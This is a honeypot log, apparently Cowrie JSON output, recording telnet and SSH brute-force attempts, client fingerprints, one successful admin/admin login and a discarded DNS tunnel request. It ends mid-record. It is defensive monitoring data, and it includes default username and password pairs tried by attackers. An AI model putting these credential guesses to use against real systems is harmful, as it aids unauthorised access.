{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":53508,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5e2b57e461e","protocol":"telnet","message":"New connection: 149.56.37.12:53508 (159.203.135.109:23) [session: e5e2b57e461e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:58.238317Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:58.430900Z","src_ip":"45.120.216.232","session":"c459b6d0d7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.776625871658325,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:08:58.508615Z","src_ip":"149.56.37.12","session":"6076ccf37508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":57732,"dst_ip":"159.203.135.109","dst_port":23,"session":"199ef5722240","protocol":"telnet","message":"New connection: 149.56.37.12:57732 (159.203.135.109:23) [session: 199ef5722240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:00.951798Z"}
{"eventid":"cowrie.session.closed","duration":33.87773847579956,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:01.436928Z","src_ip":"149.56.37.12","session":"4a2724a98d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.158687114715576,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:02.785426Z","src_ip":"149.56.37.12","session":"e57d4cfefee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.870392084121704,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:16.808661Z","src_ip":"149.56.37.12","session":"83c2b32da9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":59686,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7cdda82b909","protocol":"telnet","message":"New connection: 149.56.37.12:59686 (159.203.135.109:23) [session: e7cdda82b909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:21.405132Z"}
{"eventid":"cowrie.session.closed","duration":30.8375506401062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:28.041271Z","src_ip":"51.210.221.73","session":"7e744894aca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85513973236084,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:34.093331Z","src_ip":"149.56.37.12","session":"e5e2b57e461e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.210.221.73","src_port":36350,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8ad335f439","protocol":"telnet","message":"New connection: 51.210.221.73:36350 (159.203.135.109:23) [session: 0f8ad335f439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:35.242037Z"}
{"eventid":"cowrie.session.closed","duration":35.198649883270264,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:36.150312Z","src_ip":"149.56.37.12","session":"199ef5722240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":56768,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dffc1349bd3","protocol":"telnet","message":"New connection: 149.56.37.12:56768 (159.203.135.109:23) [session: 3dffc1349bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:38.572763Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59856,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f45a0db2723","protocol":"ssh","message":"New connection: 159.203.92.129:59856 (159.203.135.109:22) [session: 9f45a0db2723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:38.614872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:38.619903Z","src_ip":"159.203.92.129","session":"9f45a0db2723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:38.624618Z","src_ip":"159.203.92.129","session":"9f45a0db2723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:38.635040Z","src_ip":"159.203.92.129","session":"9f45a0db2723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:39.642078Z","src_ip":"159.203.92.129","session":"9f45a0db2723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00491762161255,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:43.191810Z","src_ip":"167.250.105.129","session":"e89be2e9e273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":13427,"dst_ip":"159.203.135.109","dst_port":23,"session":"6248bd23ba7b","protocol":"telnet","message":"New connection: 167.250.105.129:13427 (159.203.135.109:23) [session: 6248bd23ba7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:45.436959Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":38890,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33e32b45867","protocol":"telnet","message":"New connection: 149.56.37.12:38890 (159.203.135.109:23) [session: b33e32b45867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:45.825468Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":37158,"dst_ip":"10.17.0.5","dst_port":22,"session":"055effa68bc6","protocol":"ssh","message":"New connection: 154.117.199.5:37158 (10.17.0.5:22) [session: 055effa68bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:46.067866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:46.300816Z","src_ip":"154.117.199.5","session":"055effa68bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:46.535479Z","src_ip":"154.117.199.5","session":"055effa68bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41014,"dst_ip":"159.203.135.109","dst_port":23,"session":"92571e5fc97e","protocol":"telnet","message":"New connection: 149.56.37.12:41014 (159.203.135.109:23) [session: 92571e5fc97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:47.289978Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41170,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f6203742eb","protocol":"telnet","message":"New connection: 149.56.37.12:41170 (159.203.135.109:23) [session: f9f6203742eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:47.379197Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.210.221.73","src_port":33398,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5d30296eef","protocol":"telnet","message":"New connection: 51.210.221.73:33398 (159.203.135.109:23) [session: 9f5d30296eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:48.234440Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":57336,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff71ac3cfeec","protocol":"ssh","message":"New connection: 45.120.216.232:57336 (159.203.135.109:22) [session: ff71ac3cfeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:50.140452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:50.144770Z","src_ip":"45.120.216.232","session":"ff71ac3cfeec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:50.358802Z","src_ip":"45.120.216.232","session":"ff71ac3cfeec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"rusty","message":"login attempt [guest/rusty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:51.238480Z","src_ip":"45.120.216.232","session":"ff71ac3cfeec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:52.454937Z","src_ip":"45.120.216.232","session":"ff71ac3cfeec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.264954566955566,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:09:54.669965Z","src_ip":"149.56.37.12","session":"e7cdda82b909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834419012069702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:06.076291Z","src_ip":"51.210.221.73","session":"0f8ad335f439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35124731063843,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:14.923934Z","src_ip":"149.56.37.12","session":"3dffc1349bd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.94798564910889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:18.773321Z","src_ip":"149.56.37.12","session":"b33e32b45867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83048939704895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:19.064805Z","src_ip":"51.210.221.73","session":"9f5d30296eef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.655304193496704,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:20.945183Z","src_ip":"149.56.37.12","session":"92571e5fc97e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35984,"dst_ip":"10.17.0.5","dst_port":22,"session":"45397aa726fc","protocol":"ssh","message":"New connection: 87.251.64.176:35984 (10.17.0.5:22) [session: 45397aa726fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:21.509092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:21.517135Z","src_ip":"87.251.64.176","session":"45397aa726fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:21.614562Z","src_ip":"87.251.64.176","session":"45397aa726fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:21.908180Z","src_ip":"87.251.64.176","session":"45397aa726fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:22.008886Z","session":"45397aa726fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:22.109029Z","src_ip":"87.251.64.176","session":"45397aa726fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:22.212346Z","src_ip":"87.251.64.176","session":"45397aa726fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.448137521743774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:23.827152Z","src_ip":"149.56.37.12","session":"f9f6203742eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51076,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b50f4fd09ef","protocol":"ssh","message":"New connection: 159.203.92.129:51076 (159.203.135.109:22) [session: 9b50f4fd09ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:25.838122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:25.942290Z","src_ip":"159.203.92.129","session":"9b50f4fd09ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:25.946406Z","src_ip":"159.203.92.129","session":"9b50f4fd09ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin11","message":"login attempt [admin1/admin11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:26.595272Z","src_ip":"159.203.92.129","session":"9b50f4fd09ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:27.620577Z","src_ip":"159.203.92.129","session":"9b50f4fd09ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.74.92.38","src_port":40634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d95ccde04ed","protocol":"telnet","message":"New connection: 200.74.92.38:40634 (10.17.0.5:23) [session: 4d95ccde04ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:43.043951Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":47082,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4ffbafdf297","protocol":"ssh","message":"New connection: 45.120.216.232:47082 (159.203.135.109:22) [session: b4ffbafdf297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:45.383950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:45.392863Z","src_ip":"45.120.216.232","session":"b4ffbafdf297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2